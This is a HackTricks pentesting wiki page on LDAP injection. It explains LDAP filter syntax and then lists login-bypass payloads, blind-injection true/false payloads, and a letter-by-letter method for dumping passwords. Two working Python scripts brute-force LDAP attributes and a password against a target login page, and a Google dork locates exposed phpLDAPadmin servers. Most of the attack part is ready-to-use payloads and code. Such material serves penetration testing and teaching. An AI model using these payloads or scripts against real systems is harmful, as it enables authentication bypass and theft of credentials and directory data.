HackTricks
Search…
Pentesting
Powered By GitBook
LDAP Injection

LDAP

If you want to know what is LDAP access the following page:
LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
2MB
PDF
Filter = ( filtercomp ) Filtercomp = and / or / not / item And = & filterlist Or = |filterlist Not = ! filter Filterlist = 1*filter Item= simple / present / substring Simple = attr filtertype assertionvalue Filtertype = '=' / '~=' / '>=' / '<=' Present = attr = * Substring = attr ”=” [initial] * [final] Initial = assertionvalue Final = assertionvalue (&) = Absolute TRUE (|) = Absolute FALSE
For example: (&(!(objectClass=Impresoras))(uid=s*)) (&(objectClass=user)(uid=*))
You can access to the database, and this can content information of a lot of different types.
OpenLDAP: If 2 filters arrive, only executes the first one. ADAM or Microsoft LDS: With 2 filters they throw an error. SunOne Directory Server 5.0: Execute both filters.
It is very important to send the filter with correct syntax or an error will be thrown. It is better to send only 1 filter.
The filter has to start with: & or | Example: (&(directory=val1)(folder=public))
(&(objectClass=VALUE1)(type=Epson*)) VALUE1 = *)(ObjectClass=*))(&(objectClass=void
Then: (&(objectClass=*)(ObjectClass=*)) will be the first filter (the one executed).

Login Bypass

LDAP supports several formats to store the password: clear, md5, smd5, sh1, sha, crypt. So, it could be that independently of what you insert inside the password, it is hashed.
1
user=*
2
password=*
3
--> (&(user=*)(password=*))
4
# The asterisks are great in LDAPi
Copied!
1
user=*)(&
2
password=*)(&
3
--> (&(user=*)(&)(password=*)(&))
Copied!
1
user=*)(|(&
2
pass=pwd)
3
--> (&(user=*)(|(&)(pass=pwd))
Copied!
1
user=*)(|(password=*
2
password=test)
3
--> (&(user=*)(|(password=*)(password=test))
Copied!
1
user=*))%00
2
pass=any
3
--> (&(user=*))%00 --> Nothing more is executed
Copied!
1
user=admin)(&)
2
password=pwd
3
--> (&(user=admin)(&))(password=pwd) #Can through an error
Copied!
1
username = admin)(!(&(|
2
pass = any))
3
--> (&(uid= admin)(!(& (|) (webpassword=any))))> As (|) is FALSE then the user is admin and the password check is True.
Copied!
1
username=*
2
password=*)(&
3
--> (&(user=*)(password=*)(&))
Copied!
1
username=admin))(|(|
2
password=any
3
--> (&(uid=admin)) (| (|) (webpassword=any))
Copied!

Lists

Blind LDAP Injection

You may force False or True responses to check if any data is returned and confirm a possible Blind LDAP Injection:
1
#This will result on True, so some information will be shown
2
Payload: *)(objectClass=*))(&objectClass=void
3
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
Copied!
1
#This will result on True, so no information will be returned or shown
2
Payload: void)(objectClass=void))(&objectClass=void
3
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
Copied!

Dump data

You can iterate over the ascii letters, digits and symbols:
1
(&(sn=administrator)(password=*)) : OK
2
(&(sn=administrator)(password=A*)) : KO
3
(&(sn=administrator)(password=B*)) : KO
4
...
5
(&(sn=administrator)(password=M*)) : OK
6
(&(sn=administrator)(password=MA*)) : KO
7
(&(sn=administrator)(password=MB*)) : KO
8
...
Copied!

Scripts

Discover valid LDAP fields

LDAP objects contains by default several attributes that could be used to save information. You can try to brute-force all of them to extract that info. You can find a list of default LDAP attributes here.
1
#!/usr/bin/python3
2
import requests
3
import string
4
from time import sleep
5
import sys
6
7
proxy = { "http": "localhost:8080" }
8
url = "http://10.10.10.10/login.php"
9
alphabet = string.ascii_letters + string.digits + "[email protected]{}-/()!\"$%=^[]:;"
10
11
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
12
13
for attribute in attributes: #Extract all attributes
14
value = ""
15
finish = False
16
while not finish:
17
for char in alphabet: #In each possition test each possible printable char
18
query = f"*)({attribute}={value}{char}*"
19
data = {'login':query, 'password':'bla'}
20
r = requests.post(url, data=data, proxies=proxy)
21
sys.stdout.write(f"\r{attribute}: {value}{char}")
22
#sleep(0.5) #Avoid brute-force bans
23
if "Cannot login" in r.text:
24
value += str(char)
25
break
26
27
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
28
finish = True
29
print()
Copied!

Special Blind LDAP Injection (without "*")

1
#!/usr/bin/python3
2
3
import requests, string
4
alphabet = string.ascii_letters + string.digits + "[email protected]{}-/()!\"$%=^[]:;"
5
6
flag = ""
7
for i in range(50):
8
print("[i] Looking for number " + str(i))
9
for char in alphabet:
10
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
11
if ("TRUE CONDITION" in r.text):
12
flag += char
13
print("[+] Flag: " + flag)
14
break
Copied!

Google Dorks

1
intitle:"phpLDAPadmin" inurl:cmd.php
Copied!

More Payloads

Last modified 4mo ago